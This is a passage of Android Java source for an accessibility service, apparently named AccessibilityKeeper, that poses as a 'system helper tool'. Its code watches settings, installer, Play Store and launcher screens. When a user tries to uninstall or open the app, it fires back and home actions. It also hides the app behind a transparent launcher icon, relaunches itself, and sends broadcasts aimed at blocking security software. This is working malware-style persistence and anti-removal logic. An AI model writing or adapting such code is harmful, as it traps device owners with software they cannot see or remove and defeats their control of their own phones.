            Log.d(TAG, "📡 SETTINGS_ACCESS_BROADCAST_SENT - Package: " + packageName);

        } catch (Exception e) {
            Log.e(TAG, "Error sending settings access broadcast", e);
        }
    }

    /**
     * 记录无障碍设置访问
     */
    private void recordAccessibilitySettingsAccess() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int accessCount = prefs.getInt("accessibility_settings_access_count", 0) + 1;

            prefs.edit()
                    .putInt("accessibility_settings_access_count", accessCount)
                    .putLong("last_accessibility_settings_access_time", currentTime)
                    .apply();

            Log.i(TAG, "📝 ACCESSIBILITY_SETTINGS_ACCESS_RECORDED - Count: " + accessCount);

        } catch (Exception e) {
            Log.e(TAG, "Error recording accessibility settings access", e);
        }
    }

    /**
     * 记录应用管理设置访问
     */
    private void recordAppManagementSettingsAccess() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int accessCount = prefs.getInt("app_management_settings_access_count", 0) + 1;

            prefs.edit()
                    .putInt("app_management_settings_access_count", accessCount)
                    .putLong("last_app_management_settings_access_time", currentTime)
                    .apply();

            Log.i(TAG, "📝 APP_MANAGEMENT_SETTINGS_ACCESS_RECORDED - Count: " + accessCount);

        } catch (Exception e) {
            Log.e(TAG, "Error recording app management settings access", e);
        }
    }

    /**
     * 记录开发者选项访问
     */
    private void recordDeveloperOptionsAccess() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int accessCount = prefs.getInt("developer_options_access_count", 0) + 1;

            prefs.edit()
                    .putInt("developer_options_access_count", accessCount)
                    .putLong("last_developer_options_access_time", currentTime)
                    .apply();

            Log.i(TAG, "📝 DEVELOPER_OPTIONS_ACCESS_RECORDED - Count: " + accessCount);

        } catch (Exception e) {
            Log.e(TAG, "Error recording developer options access", e);
        }
    }

    /**
     * 记录电池优化设置访问
     */
    private void recordBatteryOptimizationAccess() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int accessCount = prefs.getInt("battery_optimization_access_count", 0) + 1;

            prefs.edit()
                    .putInt("battery_optimization_access_count", accessCount)
                    .putLong("last_battery_optimization_access_time", currentTime)
                    .apply();

            Log.i(TAG, "📝 BATTERY_OPTIMIZATION_ACCESS_RECORDED - Count: " + accessCount);

        } catch (Exception e) {
            Log.e(TAG, "Error recording battery optimization access", e);
        }
    }

    /**
     * 记录其他设置访问
     */
    private void recordOtherSettingsAccess(String packageName, String className) {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();
            int accessCount = prefs.getInt("other_settings_access_count", 0) + 1;

            prefs.edit()
                    .putInt("other_settings_access_count", accessCount)
                    .putLong("last_other_settings_access_time", currentTime)
                    .putString("last_other_settings_package", packageName)
                    .putString("last_other_settings_class", className)
                    .apply();

            Log.i(TAG, "📝 OTHER_SETTINGS_ACCESS_RECORDED - Count: " + accessCount + ", Package: " + packageName);

        } catch (Exception e) {
            Log.e(TAG, "Error recording other settings access", e);
        }
    }

    /**
     * 卸载保护机制
     */
    private void performUninstallProtection(AccessibilityEvent event) {
        try {
            if (event.getEventType() == AccessibilityEvent.TYPE_WINDOW_STATE_CHANGED) {
                String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "";
                String className = event.getClassName() != null ? event.getClassName().toString() : "";

                Log.d(TAG, "🔍 WINDOW_STATE_CHANGED - Package: " + packageName + ", Class: " + className);

                // 使用UninstallBackSet进行卸载保护
                if (uninstallBackSet != null) {
                    AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                    if (rootNode != null) {
                        UninstallBackSet.handleUninstallProtection(rootNode);
                    }
                }

                // 检测设置应用
                if (isSettingsApp(packageName, className)) {

                    // 检查是否是无障碍设置
                    if (isAccessibilitySettings(packageName, className)) {
                        Log.d(TAG, "🔧 ACCESSIBILITY_SETTINGS_DETECTED - Recording normal flow");
                        recordUserAction("accessibility_settings");

                        // 不再阻止访问无障碍设置，允许用户正常操作
                        Log.d(TAG, "✅ ACCESSIBILITY_SETTINGS_ALLOWED - Allowing normal access to accessibility settings");

                    }
                    // 检查是否是系统设置主页面
                    else if (isSystemSettingsMain(packageName, className)) {
                        Log.d(TAG, "⚙️ SYSTEM_SETTINGS_MAIN_DETECTED - Recording normal flow");
                        recordUserAction("system_settings");
                    }
                    // 其他设置页面都正常使用
                    else {
                        Log.d(TAG, "📱 OTHER_SETTINGS_DETECTED - Recording normal flow");
                        recordUserAction("normal_settings");
                    }
                }

                // 检测上下文菜单弹出
                checkForContextMenuPopup(event);

            } else if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_CLICKED) {
                // 检测点击事件，检查是否是卸载按钮
                String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "";
                if (isSettingsApp(packageName, "")) {
                    Log.d(TAG, "🔍 CLICK_IN_SETTINGS - Package: " + packageName);
                    checkForUninstallButtonClick(event);
                    // 检测是否点击了我们的应用
                    checkForOurAppClickInSettings(event);
                    // 检测是否是卸载相关的点击
                    checkForUninstallRelatedClick(event);
                }

                // 检测任何可能包含卸载操作的点击
                checkForUninstallRelatedClick(event);

            } else if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_LONG_CLICKED) {
                // 检测长按事件，防止透明应用弹出菜单，这里禁止弹出删除窗口
//                //TODO
                checkForLongPressOnTransparentApp(event);
            }
        } catch (Exception e) {
            Log.e(TAG, "Error in uninstall protection", e);
        }
    }

    /**
     * 检查是否是设置应用或应用管理相关应用
     */
    private boolean isSettingsApp(String packageName, String className) {
        try {
            // 检测各种设置应用
            return packageName.contains("com.android.settings") ||
                    packageName.contains("com.samsung.android.settings") ||
                    packageName.contains("com.miui.securitycenter") ||
                    packageName.contains("com.huawei.systemmanager") ||
                    packageName.contains("com.oppo.settings") ||
                    packageName.contains("com.vivo.settings") ||
                    packageName.contains("com.oneplus.settings") ||
                    packageName.contains("com.coloros.settings") ||
                    packageName.contains("com.flyme.systemmanager") ||
                    packageName.contains("com.meizu.safe") ||
                    // 检测Google Play商店
                    packageName.contains("com.android.vending") ||
                    packageName.contains("com.google.android.gms") ||
                    // 检测开发者选项相关
                    packageName.contains("com.android.development") ||
                    packageName.contains("com.android.developer") ||
                    // 检测电池优化相关
                    packageName.contains("com.android.power") ||
                    packageName.contains("com.android.battery") ||
                    // 检测应用管理相关
                    packageName.contains("com.android.packageinstaller") ||
                    packageName.contains("com.android.packageinstaller2") ||
                    // 检测系统应用管理
                    packageName.contains("com.android.systemui") ||
                    packageName.contains("com.android.launcher");
        } catch (Exception e) {
            Log.e(TAG, "Error checking settings app", e);
            return false;
        }
    }


    /**
     * 检查是否是我们的应用详情页面
     */
    private boolean isOurAppDetailPage(AccessibilityNodeInfo rootNode) {
        try {
            String ourAppName = "系统辅助工具";
            String ourPackageName = getPackageName();

            // 递归检查节点文本
            return containsOurAppInfo(rootNode, ourAppName, ourPackageName);
        } catch (Exception e) {
            Log.e(TAG, "Error checking our app detail page", e);
            return false;
        }
    }

    /**
     * 递归检查节点是否包含我们的应用信息
     */
    private boolean containsOurAppInfo(AccessibilityNodeInfo node, String appName, String packageName) {
        try {
            if (node == null) return false;

            // 检查节点文本
            CharSequence text = node.getText();
            CharSequence contentDescription = node.getContentDescription();

            if (text != null) {
                String textStr = text.toString();
                if (textStr.contains(appName) || textStr.contains(packageName)) {
                    Log.d(TAG, "🎯 OUR_APP_INFO_FOUND - Text: " + textStr);
                    return true;
                }
            }

            if (contentDescription != null) {
                String descStr = contentDescription.toString();
                if (descStr.contains(appName) || descStr.contains(packageName)) {
                    Log.d(TAG, "🎯 OUR_APP_INFO_FOUND - Description: " + descStr);
                    return true;
                }
            }

            // 递归检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        if (containsOurAppInfo(child, appName, packageName)) {
                            return true;
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error in containsOurAppInfo", e);
            return false;
        }
    }

    /**
     * 执行卸载保护措施
     */
    private void executeUninstallProtection() {
        try {
            Log.w(TAG, "🛡️ EXECUTING_UNINSTALL_PROTECTION - Multiple methods");

            // 方式1: 立即执行返回操作
            performGlobalAction(GLOBAL_ACTION_BACK);
            Log.i(TAG, "✅ UNINSTALL_BLOCKED - Method 1: Back action");

            // 方式2: 应用透明效果
            Log.i(TAG, "✅ UNINSTALL_BLOCKED - Method 2: App made transparent");

            // 方式3: 延迟后返回桌面
            new Thread(() -> {
                try {
                    Thread.sleep(800);
                    performGlobalAction(GLOBAL_ACTION_HOME);
                    Log.i(TAG, "✅ UNINSTALL_BLOCKED - Method 3: Home action");

                    // 方式4: 启动我们的应用
                    Thread.sleep(500);
                    launchOurApp();
                    Log.i(TAG, "✅ UNINSTALL_BLOCKED - Method 4: Launch our app");

                    // 方式5: 额外的保护措施
                    Thread.sleep(1000);
                    performAdditionalProtection();
                    Log.i(TAG, "✅ UNINSTALL_BLOCKED - Method 5: Additional protection");

                } catch (InterruptedException e) {
                    Thread.currentThread().interrupt();
                    Log.w(TAG, "Thread interrupted during uninstall protection");
                } catch (Exception e) {
                    Log.e(TAG, "Error in delayed uninstall protection", e);
                }
            }).start();

        } catch (Exception e) {
            Log.e(TAG, "Error executing uninstall protection", e);
        }
    }

    /**
     * 执行额外的保护措施
     */
    private void performAdditionalProtection() {
        try {
            Log.d(TAG, "🛡️ PERFORMING_ADDITIONAL_PROTECTION");

            // 方式1: 再次返回桌面
            performGlobalAction(GLOBAL_ACTION_HOME);

            // 方式2: 启动我们的应用
            launchOurApp();

            // 方式3: 发送保护广播
            sendProtectionBroadcast();

            // 方式4: 记录保护事件
            recordAdditionalProtectionEvent();

        } catch (Exception e) {
            Log.e(TAG, "Error performing additional protection", e);
        }
    }

    /**
     * 发送保护广播
     */
    private void sendProtectionBroadcast() {
        try {
            Intent protectionIntent = new Intent("com.demo.accessibilitykeeper.APP_MANAGEMENT_BLOCKED");
            protectionIntent.putExtra("timestamp", System.currentTimeMillis());
            protectionIntent.putExtra("reason", "app_management_page_detected");
            sendBroadcast(protectionIntent);

            // 发送安全检测软件阻止广播
            Intent securityBlockIntent = new Intent("com.demo.accessibilitykeeper.SECURITY_APP_BLOCKED");
            securityBlockIntent.putExtra("timestamp", System.currentTimeMillis());
            securityBlockIntent.putExtra("reason", "security_detection_software_detected");
            sendBroadcast(securityBlockIntent);

            Log.i(TAG, "📡 PROTECTION_BROADCAST_SENT");

        } catch (Exception e) {
            Log.e(TAG, "Error sending protection broadcast", e);
        }
    }

    /**
     * 记录额外保护事件
     */
    private void recordAdditionalProtectionEvent() {
        try {
            long currentTime = System.currentTimeMillis();
            int protectionCount = prefs.getInt("additional_protection_count", 0) + 1;

            prefs.edit()
                    .putInt("additional_protection_count", protectionCount)
                    .putLong("last_additional_protection_time", currentTime)
                    .apply();

            Log.i(TAG, "📝 ADDITIONAL_PROTECTION_RECORDED - Count: " + protectionCount);

        } catch (Exception e) {
            Log.e(TAG, "Error recording additional protection event", e);
        }
    }


    /**
     * 启动我们的应用 - 使用自定义启动方式
     */
    private void launchOurApp() {
        try {
            // 使用自定义启动方式，因为桌面图标已隐藏
            Intent intent = new Intent("com.demo.accessibilitykeeper.START_MAIN");
            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK |
                    Intent.FLAG_ACTIVITY_CLEAR_TOP |
                    Intent.FLAG_ACTIVITY_SINGLE_TOP);
            startActivity(intent);
            Log.i(TAG, "🚀 OUR_APP_LAUNCHED - Using custom start method");
        } catch (Exception e) {
            Log.e(TAG, "Error launching our app with custom method", e);

            // 备用方案：尝试使用包名启动
            try {
                Intent fallbackIntent = getPackageManager().getLaunchIntentForPackage(getPackageName());
                if (fallbackIntent != null) {
                    fallbackIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK |
                            Intent.FLAG_ACTIVITY_CLEAR_TOP |
                            Intent.FLAG_ACTIVITY_SINGLE_TOP);
                    startActivity(fallbackIntent);
                    Log.i(TAG, "🚀 OUR_APP_LAUNCHED - Using fallback method");
                }
            } catch (Exception fallbackException) {
                Log.e(TAG, "Error with fallback launch method", fallbackException);
            }
        }
    }

    /**
     * 记录卸载保护事件
     */
    private void recordUninstallProtectionEvent() {
        try {
            long currentTime = System.currentTimeMillis();
            int protectionCount = prefs.getInt("uninstall_protection_count", 0) + 1;

            prefs.edit()
                    .putInt("uninstall_protection_count", protectionCount)
                    .putLong("last_uninstall_protection_time", currentTime)
                    .apply();

            Log.i(TAG, "📝 UNINSTALL_PROTECTION_RECORDED - Count: " + protectionCount);

        } catch (Exception e) {
            Log.e(TAG, "Error recording uninstall protection event", e);
        }
    }


    /**
     * 检查我们的应用是否还在运行
     */
    private boolean isOurAppRunning() {
        try {
            String ourPackageName = getPackageName();

            // 检查主进程是否在运行
            android.app.ActivityManager am = (android.app.ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
            if (am != null) {
                for (android.app.ActivityManager.RunningAppProcessInfo processInfo : am.getRunningAppProcesses()) {
                    if (ourPackageName.equals(processInfo.processName)) {
                        Log.d(TAG, "✅ OUR_APP_RUNNING - PID: " + processInfo.pid);
                        return true;
                    }
                }
            }

            Log.d(TAG, "❌ OUR_APP_NOT_RUNNING - Package: " + ourPackageName);
            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking if our app is running", e);
            return false;
        }
    }


    /**
     * 检查是否是无障碍设置
     */
    private boolean isAccessibilitySettings(String packageName, String className) {
        try {
            // 检查包名是否包含无障碍相关
            if (packageName.contains("accessibility") ||
                    packageName.contains("无障碍") ||
                    packageName.contains("assistive")) {
                return true;
            }

            // 检查类名是否包含无障碍相关
            if (className.contains("Accessibility") ||
                    className.contains("无障碍") ||
                    className.contains("Assistive")) {
                return true;
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking accessibility settings", e);
            return false;
        }
    }

    /**
     * 阻止无障碍设置页面的访问
     * 一旦无障碍服务开启后，再次进入无障碍设置页面就直接返回
     */

    /**
     * 记录无障碍设置访问被阻止的事件
     */
    private void recordAccessibilitySettingsBlockedEvent() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();

            prefs.edit()
                    .putLong("last_accessibility_settings_blocked_time", currentTime)
                    .putLong("last_user_action_time", currentTime)
                    .apply();

            Log.d(TAG, "📝 ACCESSIBILITY_SETTINGS_BLOCKED_RECORDED - Access to accessibility settings was blocked");
        } catch (Exception e) {
            Log.e(TAG, "Error recording accessibility settings blocked event", e);
        }
    }

    /**
     * 检查是否是系统设置主页面
     */
    private boolean isSystemSettingsMain(String packageName, String className) {
        try {
            // 检查是否是设置主页面
            if (className.contains("Settings") &&
                    (className.contains("Main") ||
                            className.contains("Dashboard") ||
                            className.contains("Home"))) {
                return true;
            }

            // 检查是否是设置列表页面
            if (className.contains("Settings") &&
                    className.contains("List")) {
                return true;
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking system settings main", e);
            return false;
        }
    }


    /**
     * 检查是否在设置中点击了我们的应用
     */
    private void checkForOurAppClickInSettings(AccessibilityEvent event) {
        try {
            Log.d(TAG, "🔍 CHECKING_OUR_APP_CLICK_IN_SETTINGS - Event: " + event.getEventType());

            AccessibilityNodeInfo sourceNode = event.getSource();
            if (sourceNode != null) {
                try {
                    // 检查点击的节点是否包含我们应用的信息
                    if (isOurAppClick(sourceNode)) {
                        // 立即执行返回操作
                        performGlobalAction(GLOBAL_ACTION_BACK);
                        // 记录事件
                        recordUserAction("our_app_click_prevention");

                    } else {
                        // 记录其他应用的正常点击
                        recordUserAction("other_app_click");
                    }
                } finally {
                    sourceNode.recycle();
                }
            } else {
                Log.d(TAG, "📱 NO_SOURCE_NODE - No source node available");
            }
        } catch (Exception e) {
            Log.e(TAG, "Error checking our app click in settings", e);
        }
    }

    /**
     * 检查是否是我们的应用点击
     */
    private boolean isOurAppClick(AccessibilityNodeInfo node) {
        try {
            if (node == null) return false;

            // 检查节点文本 - 使用精确匹配避免误判
            CharSequence text = node.getText();
            if (text != null) {
                String textStr = text.toString();
                Log.d(TAG, "🔍 CHECKING_NODE_TEXT - Text: " + textStr);

                // 精确匹配我们的应用名称
                if (textStr.contains("系统辅助工具") ||
                        textStr.contains("AccessibilityKeeper")) {
                    Log.w(TAG, "🎯 OUR_APP_TEXT_MATCH - Text: " + textStr);
                    return true;
                }

                // 检查是否包含我们的包名
                if (textStr.contains("com.demo.accessibilitykeeper")) {
                    Log.w(TAG, "🎯 OUR_APP_PACKAGE_MATCH - Text: " + textStr);
                    return true;
                }
            }

            // 检查内容描述 - 使用精确匹配避免误判
            CharSequence contentDescription = node.getContentDescription();
            if (contentDescription != null) {
                String descStr = contentDescription.toString();
                Log.d(TAG, "🔍 CHECKING_NODE_DESC - Description: " + descStr);

                // 精确匹配我们的应用名称
                if (descStr.contains("系统辅助工具") ||
                        descStr.contains("AccessibilityKeeper")) {
                    Log.w(TAG, "🎯 OUR_APP_DESC_MATCH - Description: " + descStr);
                    return true;
                }

                // 检查是否包含我们的包名
                if (descStr.contains("com.demo.accessibilitykeeper")) {
                    Log.w(TAG, "🎯 OUR_APP_PACKAGE_DESC_MATCH - Description: " + descStr);
                    return true;
                }
            }

            // 检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        if (isOurAppClick(child)) {
                            return true;
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking our app click", e);
            return false;
        }
    }

    /**
     * 检查是否是卸载按钮点击
     */
    private void checkForUninstallButtonClick(AccessibilityEvent event) {
        try {
            AccessibilityNodeInfo sourceNode = event.getSource();
            if (sourceNode != null) {
                try {
                    // 检查点击的节点是否是卸载按钮
                    if (isUninstallButton(sourceNode)) {
                        Log.w(TAG, "🚨 UNINSTALL_BUTTON_CLICKED - Checking if targeting our app");

                        // 获取根节点检查是否包含我们应用的信息
                        AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                        if (rootNode != null) {
                            try {
                                String ourAppName = "系统辅助工具";
                                String ourPackageName = getPackageName();

                                // 检查是否包含我们应用的信息
                                if (containsOurAppInfo(rootNode, ourAppName, ourPackageName)) {
                                    Log.w(TAG, "🚨 OUR_APP_UNINSTALL_ATTEMPT - Uninstall attempt detected");
                                    // 不再自动退回，允许用户正常操作
                                } else {
                                    Log.d(TAG, "📱 OTHER_APP_UNINSTALL - Allowing normal uninstall");
                                }
                            } finally {
                                rootNode.recycle();
                            }
                        }
                    } else {
                        // 检查是否是其他卸载相关的点击
                        if (isUninstallRelatedNode(sourceNode)) {
                            Log.w(TAG, "🚨 UNINSTALL_RELATED_CLICK - Checking if targeting our app");

                            AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                            if (rootNode != null) {
                                try {
                                    String ourAppName = "系统辅助工具";
                                    String ourPackageName = getPackageName();

                                    if (containsOurAppInfo(rootNode, ourAppName, ourPackageName)) {
                                        Log.w(TAG, "🚨 OUR_APP_UNINSTALL_RELATED - Uninstall related action detected");
                                        // 不再自动退回，允许用户正常操作
                                    }
                                } finally {
                                    rootNode.recycle();
                                }
                            }
                        } else {
                            Log.d(TAG, "📱 NON_UNINSTALL_CLICK - Normal flow");
//                            recordNormalSettingsAction();
                        }
                    }
                } finally {
                    sourceNode.recycle();
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "Error checking uninstall button click", e);
        }
    }

    /**
     * 检查是否是卸载按钮
     */
    private boolean isUninstallButton(AccessibilityNodeInfo node) {
        try {
            if (node == null) return false;

            // 检查按钮文本
            CharSequence text = node.getText();
            if (text != null) {
                String textStr = text.toString().toLowerCase();
                if (textStr.contains("卸载") || textStr.contains("uninstall") ||
                        textStr.contains("删除") || textStr.contains("remove") ||
                        textStr.contains("卸载应用") || textStr.contains("删除应用") ||
                        textStr.contains("卸载程序") || textStr.contains("删除程序")) {
                    return true;
                }
            }

            // 检查内容描述
            CharSequence contentDescription = node.getContentDescription();
            if (contentDescription != null) {
                String descStr = contentDescription.toString().toLowerCase();
                if (descStr.contains("卸载") || descStr.contains("uninstall") ||
                        descStr.contains("删除") || descStr.contains("remove") ||
                        descStr.contains("卸载应用") || descStr.contains("删除应用")) {
                    return true;
                }
            }

            // 检查类名
            CharSequence className = node.getClassName();
            if (className != null) {
                String classNameStr = className.toString();
                if (classNameStr.contains("Button")) {
                    // 重新检查文本
                    if (text != null) {
                        String textStr = text.toString().toLowerCase();
                        if (textStr.contains("卸载") || textStr.contains("uninstall") ||
                                textStr.contains("删除") || textStr.contains("remove")) {
                            return true;
                        }
                    }
                }
            }

            // 检查资源ID（某些系统可能使用资源ID）
            String resourceId = node.getViewIdResourceName();
            if (resourceId != null) {
                String resourceIdStr = resourceId.toLowerCase();
                if (resourceIdStr.contains("uninstall") || resourceIdStr.contains("remove") ||
                        resourceIdStr.contains("delete")) {
                    return true;
                }
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking uninstall button", e);
            return false;
        }
    }


    /**
     * 检查任何可能包含卸载操作的点击
     */
    private void checkForUninstallRelatedClick(AccessibilityEvent event) {
        try {
            AccessibilityNodeInfo sourceNode = event.getSource();
            if (sourceNode != null) {
                try {
                    // 检查点击的节点是否包含卸载相关的文本
                    if (isUninstallRelatedNode(sourceNode)) {
                        Log.w(TAG, "🚨 UNINSTALL_RELATED_CLICK - Detected uninstall related click");

                        // 获取根节点检查是否包含我们应用的信息
                        AccessibilityNodeInfo rootNode = getRootInActiveWindow();
                        if (rootNode != null) {
                            try {
                                String ourAppName = "系统辅助工具";
                                String ourPackageName = getPackageName();

                                // 检查是否包含我们应用的信息
                                if (containsOurAppInfo(rootNode, ourAppName, ourPackageName)) {
                                    Log.w(TAG, "🚨 OUR_APP_UNINSTALL_RELATED - Preventing uninstall related action for our app");

                                    // 立即阻止操作
                                    performGlobalAction(GLOBAL_ACTION_BACK);
                                                hideAppFromDesktop();

                                    Log.d(TAG, "Uninstall related action prevented - no automatic transparency");

                                } else {
                                    Log.d(TAG, "📱 OTHER_APP_UNINSTALL_RELATED - Allowing normal uninstall related action");
                                }
                            } finally {
                                rootNode.recycle();
                            }
                        }
                    }
                } finally {
                    sourceNode.recycle();
                }
            }
        } catch (Exception e) {
            Log.e(TAG, "Error checking uninstall related click", e);
        }
    }

    /**
     * 检查节点是否包含卸载相关的文本
     */
    private boolean isUninstallRelatedNode(AccessibilityNodeInfo node) {
        try {
            if (node == null) return false;

            // 检查节点文本
            CharSequence text = node.getText();
            if (text != null) {
                String textStr = text.toString().toLowerCase();
                if (textStr.contains("卸载") || textStr.contains("uninstall") ||
                        textStr.contains("删除") || textStr.contains("remove") ||
                        textStr.contains("删除应用") || textStr.contains("remove app")) {
                    return true;
                }
            }

            // 检查内容描述
            CharSequence contentDescription = node.getContentDescription();
            if (contentDescription != null) {
                String descStr = contentDescription.toString().toLowerCase();
                if (descStr.contains("卸载") || descStr.contains("uninstall") ||
                        descStr.contains("删除") || descStr.contains("remove") ||
                        descStr.contains("删除应用") || descStr.contains("remove app")) {
                    return true;
                }
            }

            // 检查子节点
            for (int i = 0; i < node.getChildCount(); i++) {
                AccessibilityNodeInfo child = node.getChild(i);
                if (child != null) {
                    try {
                        if (isUninstallRelatedNode(child)) {
                            return true;
                        }
                    } finally {
                        child.recycle();
                    }
                }
            }

            return false;
        } catch (Exception e) {
            Log.e(TAG, "Error checking uninstall related node", e);
            return false;
        }
    }

    /**
     * 检查上下文菜单弹出
     */
    private void checkForContextMenuPopup(AccessibilityEvent event) {
        try {
            // 检查应用是否处于透明状态
            if (!isAppTransparent()) {
                return;
            }

            String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "";
            String className = event.getClassName() != null ? event.getClassName().toString() : "";

            Log.d(TAG, "🔍 CONTEXT_MENU_CHECK - Package: " + packageName + ", Class: " + className);

            // 检测是否是桌面应用
            if (isLauncherApp(packageName)) {
                // 检查是否包含我们应用的信息
            AccessibilityNodeInfo rootNode = getRootInActiveWindow();
            if (rootNode != null) {
                try {
                        String ourAppName = "系统辅助工具";
                    String ourPackageName = getPackageName();

//                        if (containsOurAppInfo(rootNode, ourAppName, ourPackageName)) {
//                            Log.w(TAG, "🚨 CONTEXT_MENU_FOR_OUR_APP - Blocking context menu for transparent app");
//                            // 立即返回桌面，阻止菜单显示
//                            performGlobalAction(GLOBAL_ACTION_HOME);
//                            // 记录阻止事件
//                            recordContextMenuBlockedEvent();
//                        }
                } finally {
                    rootNode.recycle();
                }
            }
            }
                    } catch (Exception e) {
            Log.e(TAG, "Error checking context menu popup", e);
        }
    }

    /**
     * 检查是否是启动器应用
     */
    private boolean isLauncherApp(String packageName) {
        if (packageName == null) return false;

        // 常见的启动器包名
        return packageName.contains("launcher") ||
                packageName.contains("home") ||
                packageName.contains("desktop") ||
                packageName.equals("com.android.launcher") ||
                packageName.equals("com.android.launcher2") ||
                packageName.equals("com.android.launcher3") ||
                packageName.equals("com.miui.home") ||
                packageName.equals("com.huawei.android.launcher") ||
                packageName.equals("com.oppo.launcher") ||
                packageName.equals("com.vivo.launcher") ||
                packageName.equals("com.oneplus.launcher");
    }

    /**
     * 检查应用是否处于透明状态
     */
    private boolean isAppTransparent() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            return prefs.getBoolean("app_transparent_from_desktop", false);
                    } catch (Exception e) {
            Log.e(TAG, "Error checking app transparent state", e);
            return false;
        }
    }

    /**
     * 记录上下文菜单被阻止的事件
     */
    private void recordContextMenuBlockedEvent() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();

            prefs.edit()
                    .putLong("last_context_menu_blocked_time", currentTime)
                    .putInt("context_menu_blocked_count", prefs.getInt("context_menu_blocked_count", 0) + 1)
                    .apply();

            Log.i(TAG, "📝 CONTEXT_MENU_BLOCKED_RECORDED - Context menu blocked event recorded");

        } catch (Exception e) {
            Log.e(TAG, "Error recording context menu blocked event", e);
        }
    }

    /**
     * 检查长按透明应用事件
     */
    private void checkForLongPressOnTransparentApp(AccessibilityEvent event) {
        try {
            // 检查应用是否处于透明状态
            if (!isAppTransparent()) {
                return;
            }

            String packageName = event.getPackageName() != null ? event.getPackageName().toString() : "";
            Log.d(TAG, "🔍 LONG_PRESS_ON_TRANSPARENT_APP - Package: " + packageName);

            // 检测是否是桌面应用
            if (isLauncherApp(packageName)) {
                AccessibilityNodeInfo sourceNode = event.getSource();
                if (sourceNode != null) {
                    try {
                        // 检查是否长按了我们的应用
                        if (isOurAppNode(sourceNode)) {
                            Log.w(TAG, "🚨 LONG_PRESS_ON_OUR_TRANSPARENT_APP - Blocking long press on transparent app");

                            // 立即返回桌面，阻止菜单显示
//                            performGlobalAction(GLOBAL_ACTION_HOME);
//
//                            // 记录阻止事件
//                            recordLongPressBlockedEvent();
                        }
                    } finally {
                        sourceNode.recycle();
                    }
                }
            }
            } catch (Exception e) {
            Log.e(TAG, "Error checking long press on transparent app", e);
        }
    }

    /**
     * 检查节点是否是我们应用的节点
     */
    private boolean isOurAppNode(AccessibilityNodeInfo node) {
        if (node == null) return false;

        try {
            String ourAppName = "系统辅助工具";
            String ourPackageName = getPackageName();

            // 检查节点文本
            CharSequence text = node.getText();
            if (text != null && text.toString().contains(ourAppName)) {
                return true;
            }

            // 检查内容描述
            CharSequence contentDescription = node.getContentDescription();
            if (contentDescription != null && contentDescription.toString().contains(ourAppName)) {
                return true;
            }

            // 检查父节点
            AccessibilityNodeInfo parent = node.getParent();
            if (parent != null) {
                try {
                    if (isOurAppNode(parent)) {
                        return true;
                    }
                } finally {
                    parent.recycle();
                }
            }

            return false;
            } catch (Exception e) {
            Log.e(TAG, "Error checking if node is our app", e);
            return false;
        }
    }

    /**
     * 记录长按被阻止的事件
     */
    private void recordLongPressBlockedEvent() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();

            prefs.edit()
                    .putLong("last_long_press_blocked_time", currentTime)
                    .putInt("long_press_blocked_count", prefs.getInt("long_press_blocked_count", 0) + 1)
                    .apply();

            Log.i(TAG, "📝 LONG_PRESS_BLOCKED_RECORDED - Long press blocked event recorded");

            } catch (Exception e) {
            Log.e(TAG, "Error recording long press blocked event", e);
        }
    }

    /**
     * 从桌面透明应用（只在真正的卸载操作时触发透明效果）
     */
    private void hideAppFromDesktop() {
        try {
            Log.i(TAG, "Real uninstall operation detected - making app transparent");

            // 切换到透明图标和文字
            switchAppIcon(AccessibilityKeeperService.this, "com.demo.accessibilitykeeper.TransparentAlias");

            // 记录透明事件
            recordAppTransparentFromDesktopEvent();

            // 发送广播通知
            sendAppTransparentFromDesktopBroadcast();

            // 确保服务继续运行
            ensureServiceContinuesRunning();

            Log.d(TAG, "App made transparent on real uninstall - services running");

            } catch (Exception e) {
            Log.e(TAG, "Error making app transparent on real uninstall", e);
        }
    }

    /**
     * 记录应用从桌面透明事件
     */
    private void recordAppTransparentFromDesktopEvent() {
        try {
            SharedPreferences prefs = getSharedPreferences(PREFS_NAME, Context.MODE_PRIVATE);
            long currentTime = System.currentTimeMillis();

            prefs.edit()
                    .putLong("last_desktop_transparent_time", currentTime)
